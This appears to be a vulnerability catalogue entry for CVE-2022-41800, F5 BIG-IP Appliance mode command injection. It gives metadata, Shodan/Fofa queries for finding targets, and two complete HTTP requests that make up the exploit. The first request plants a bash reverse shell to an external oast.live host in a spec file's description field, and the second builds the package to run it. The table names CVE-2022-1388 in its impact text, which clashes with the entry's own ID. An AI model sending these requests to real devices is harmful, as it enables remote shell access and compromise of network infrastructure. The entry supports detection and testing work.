| Title | F5 BIG-IP Appliance Mode - Command Injection |
|---|---|
| Author | dwisiswant0 |
| Severity | High |
| Impact | A successful exploit can allow the attacker to execute remote commands on server using authorization bypass (CVE-2022-1388). |
| Remediation | Apply security patches from F5 Networks as outlined in K97843387 and ensure Appliance mode restrictions are properly enforced. |
| CVSS Score | 8.7 |
| EPSS Score | 0.92701 |
| CVE ID | CVE-2022-41800 |
| CWE ID | CWE-77 |
| Shodan Query | http.title:"big-ip®-+redirect" +"server"http.html:"big-ip apm" |
| Fofa Query | body="big-ip apm"title="big-ip®-+redirect" +"server" |
| Tags | cve cve2022 rce f5 bigip instrusive vkev vuln |
When running in Appliance mode, an authenticated user assigned the Administrator role may bypass Appliance mode restrictions, utilizing an undisclosed iControl REST endpoint.
POST /mgmt/shared/iapp/rpm-spec-creator HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Content-Length: 269
Authorization: Basic YWRtaW46eQ==
Connection: keep-alive, X-F5-Auth-Token, X-Forwarded-Host
Content-Type: application/json
X-F5-Auth-Token: n
Accept-Encoding: gzip
Connection: close
{
"specFileData": {
"name": "hbvvyx",
"srcBasePath": "/tmp",
"version": "2.0.3",
"release": "3.0.9",
"description": "\n\n%check\nbash -i >& /dev/tcp/d5jms09le0o4mn42imf0pue9gpu7c6t5y.oast.live/6922 0>&1",
"summary": "5gfdywcbyl"
}
}
POST /mgmt/shared/iapp/build-package HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Content-Length: 121
Authorization: Basic YWRtaW46eQ==
Connection: keep-alive, X-F5-Auth-Token, X-Forwarded-Host
Content-Type: application/json
X-F5-Auth-Token: b
Accept-Encoding: gzip
Connection: close
{
"state": {},
"appName": "hbvvyx",
"packageDirectory": "/tmp",
"specFilePath": "hfzCzf",
"force": true
}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-41800.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-41800.pcap
N/AN/A